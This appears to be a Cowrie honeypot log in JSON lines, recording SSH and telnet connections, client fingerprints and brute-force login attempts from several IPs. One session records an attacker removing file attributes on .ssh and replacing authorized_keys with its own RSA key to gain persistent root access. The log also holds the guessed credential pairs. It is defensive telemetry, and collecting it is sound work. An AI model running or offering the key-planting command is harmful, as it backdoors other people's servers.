{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:10.929067Z","src_ip":"103.82.92.202","session":"2cd68653ad2a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qwert@123","message":"login attempt [root/Qwert@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:11.937124Z","src_ip":"103.82.92.202","session":"2cd68653ad2a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:12.452940Z","src_ip":"103.82.92.202","session":"2cd68653ad2a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:12.455808Z","src_ip":"103.82.92.202","session":"2cd68653ad2a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:12.458534Z","src_ip":"103.82.92.202","session":"2cd68653ad2a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:12.725423Z","src_ip":"103.82.92.202","session":"2cd68653ad2a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:13.286034Z","src_ip":"103.82.92.202","session":"2cd68653ad2a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:13.288248Z","src_ip":"103.82.92.202","session":"2cd68653ad2a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:13.534894Z","src_ip":"103.82.92.202","session":"2cd68653ad2a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:13.538531Z","src_ip":"103.82.92.202","session":"2cd68653ad2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":46280,"dst_ip":"10.17.0.5","dst_port":22,"session":"16de5ecb3cd6","protocol":"ssh","message":"New connection: 103.82.92.202:46280 (10.17.0.5:22) [session: 16de5ecb3cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:13.767645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:13.771434Z","src_ip":"103.82.92.202","session":"16de5ecb3cd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:14.010128Z","src_ip":"103.82.92.202","session":"16de5ecb3cd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:14.998970Z","src_ip":"103.82.92.202","session":"16de5ecb3cd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:16.240455Z","src_ip":"103.82.92.202","session":"16de5ecb3cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":46290,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2f74ddb7c42","protocol":"ssh","message":"New connection: 103.82.92.202:46290 (10.17.0.5:22) [session: a2f74ddb7c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:16.485726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:16.489359Z","src_ip":"103.82.92.202","session":"a2f74ddb7c42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:16.735627Z","src_ip":"103.82.92.202","session":"a2f74ddb7c42","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:17.753286Z","src_ip":"103.82.92.202","session":"a2f74ddb7c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:18.001977Z","src_ip":"103.82.92.202","session":"a2f74ddb7c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:18.005676Z","src_ip":"103.82.92.202","session":"2cd68653ad2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":34038,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c14793b6143","protocol":"ssh","message":"New connection: 162.120.6.20:34038 (159.203.135.109:22) [session: 5c14793b6143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:23.230078Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:23.303517Z","src_ip":"162.120.6.20","session":"5c14793b6143","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":34048,"dst_ip":"159.203.135.109","dst_port":22,"session":"d36f698945e8","protocol":"ssh","message":"New connection: 162.120.6.20:34048 (159.203.135.109:22) [session: d36f698945e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:23.368394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:23.372996Z","src_ip":"162.120.6.20","session":"d36f698945e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:23.443210Z","src_ip":"162.120.6.20","session":"d36f698945e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marina","password":"marina","message":"login attempt [marina/marina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:23.652959Z","src_ip":"162.120.6.20","session":"d36f698945e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:39:24.724554Z","src_ip":"162.120.6.20","session":"d36f698945e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":59606,"dst_ip":"159.203.135.109","dst_port":22,"session":"15f149f3f68a","protocol":"ssh","message":"New connection: 92.118.39.92:59606 (159.203.135.109:22) [session: 15f149f3f68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:40:36.356706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:40:36.361704Z","src_ip":"92.118.39.92","session":"15f149f3f68a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:40:36.460063Z","src_ip":"92.118.39.92","session":"15f149f3f68a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:40:36.772533Z","src_ip":"92.118.39.92","session":"15f149f3f68a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:40:37.891829Z","src_ip":"92.118.39.92","session":"15f149f3f68a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":42406,"dst_ip":"10.17.0.5","dst_port":22,"session":"c93c6f91ffeb","protocol":"ssh","message":"New connection: 103.78.2.212:42406 (10.17.0.5:22) [session: c93c6f91ffeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:41:08.065802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:41:08.070395Z","src_ip":"103.78.2.212","session":"c93c6f91ffeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:41:08.329035Z","src_ip":"103.78.2.212","session":"c93c6f91ffeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manoj","password":"12345678","message":"login attempt [manoj/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:41:09.390064Z","src_ip":"103.78.2.212","session":"c93c6f91ffeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:41:10.654724Z","src_ip":"103.78.2.212","session":"c93c6f91ffeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":37448,"dst_ip":"10.17.0.5","dst_port":22,"session":"765f4b901886","protocol":"ssh","message":"New connection: 103.82.92.202:37448 (10.17.0.5:22) [session: 765f4b901886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:41:27.478317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:41:27.482499Z","src_ip":"103.82.92.202","session":"765f4b901886","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:41:27.728857Z","src_ip":"103.82.92.202","session":"765f4b901886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marvin","password":"marvin123","message":"login attempt [marvin/marvin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:41:28.748627Z","src_ip":"103.82.92.202","session":"765f4b901886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:41:29.996776Z","src_ip":"103.82.92.202","session":"765f4b901886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":48374,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1c43af1dd52","protocol":"telnet","message":"New connection: 130.12.180.174:48374 (159.203.135.109:23) [session: d1c43af1dd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:41:36.313421Z"}
{"eventid":"cowrie.session.closed","duration":0.5002453327178955,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:41:36.813540Z","src_ip":"130.12.180.174","session":"d1c43af1dd52","protocol":"telnet"}
